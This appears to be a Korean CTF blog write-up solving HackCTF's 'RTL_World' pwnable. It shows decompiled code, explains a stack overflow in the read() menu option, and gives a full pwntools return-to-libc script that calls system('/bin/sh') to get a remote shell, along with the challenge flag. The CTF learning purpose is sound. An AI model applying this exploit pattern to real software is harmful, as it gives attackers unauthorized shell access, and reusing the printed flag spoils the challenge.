[Pwnable] RTL_World
Wargame/HackCTF

[Pwnable] RTL_World

문제만 봐도 RTL의 향기가 나네요

 

 

32bit ELF파일이고 다이나믹 링킹되어 있네요

 

NX Bit가 걸려있으며 Partial Relro이기 때문에 Dynamic section에

write 권한이 없겠네요!

 

실행시키면 여러가지 메뉴가 나옵니다.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h]
  char buf; // [esp+14h] [ebp-8Ch]
  void *v6; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        break;
      case 2:
        Get_Money(gold);
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", v6);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}

메인 함수를 살펴보면

1을 입력하면 ELF 파일의 mitigation이 나오고

2를 입력하면 Get_Money라는 함수로 가고

3, 4번은 게임 메뉴를 구현한것으로 보이고

5번은 제일 중요해보이는 부분으로 BOF가 터질거 같네요

6번은 종료부분인거 같습니다.

 

우선 Get_Money 함수도 살펴보겠습니다🙄

 

int Get_Money()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-Ch]
  int v2; // [esp+Ch] [ebp-8h]
  int v3; // [esp+10h] [ebp-4h]

  puts("\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\nYour Gold is %d\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\n", v2);
      gold += v2;
      result = printf("\nYour Gold is %d\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  return result;
}

이 문제에서 익스를 할때에는 별 필요가 없어보여 큰 설명은

하지 않도록 하겠습니다.

 

이 문제의 제목이 RTL_World인만큼 RTL기법을 최대한 활용해야 될 거 같습니다.

 

제일 의심가는 부분인 5번 메뉴에서 read() 함수를 이용해서 BOF를 터트릴 수 있습니다.

 

그렇다면

 

 Buf [ 0x8C ] + SFP [ 0x4 ] + RET -> System("/bin/sh")

 

이런 식으로 RET를 System 함수로 돌리면 될 거 같습니다.

 


익스를 위해 필요한 정보들

 

1. system 함수의 주소

2. "/bin/sh" 문자열의 주소

3. pr gadget


다행히 system 함수가 ELF 파일에 존재합니다

 

그렇다면 /bin/sh 문자열은 어떻게 찾아야되나?

 

그건 저도 잘 모르겠습니다

 

농담임니다😙

 

나는 디버거를 활용하여서 /bin/sh 문자열을 찾아냈다.

 

사실 아이다에서 main함수를 잘 살펴보면 

"/bin/sh" 문자열을 클릭 해보면

이런 방법으로도 주소를 구할 수 있다.

 

마지막으로 pr gadget의 주소를 구해주면된다.

ROPgadget으로 쉽게 구해보자.

 

익스를 위해 모든 정보들이 모여졌다.

 

한번 익스 코드를 짜보자

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3010)

#p = process("./rtl_world")

e = ELF("./rtl_world")
pr = 0x08048c7f

binsh = 0x8048eb1

payload = ""

payload += "5"

p.recvuntil(">>> ")

p.sendline(payload)

payload = ""

payload += "A" * 0x8C

payload += "B" * 0x4

payload += p32(e.plt['system'])

payload += p32(pr)

payload += p32(binsh)

p.recvuntil(" > ")

p.sendline(payload)

p.interactive()

FLAG = HackCTF{17_w45_4_6r347_r7l_w0rld}

 

예전에 푼 문제긴 한데 롸업 자체를 오랜만에 써서 그런지

문제도 다시 한번 풀어보고 여러모로 재밌다😶

 

오늘도 여기서 끄-읕😏

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] Poet  (0) 2021.02.04
[Pwnable] g++ pwn  (0) 2021.02.03
[Misc] Baseball Price & BF  (0) 2020.11.22
[Pwnable] Yes or no  (0) 2020.11.22
[Crypto] Smooth CipherText  (0) 2020.11.15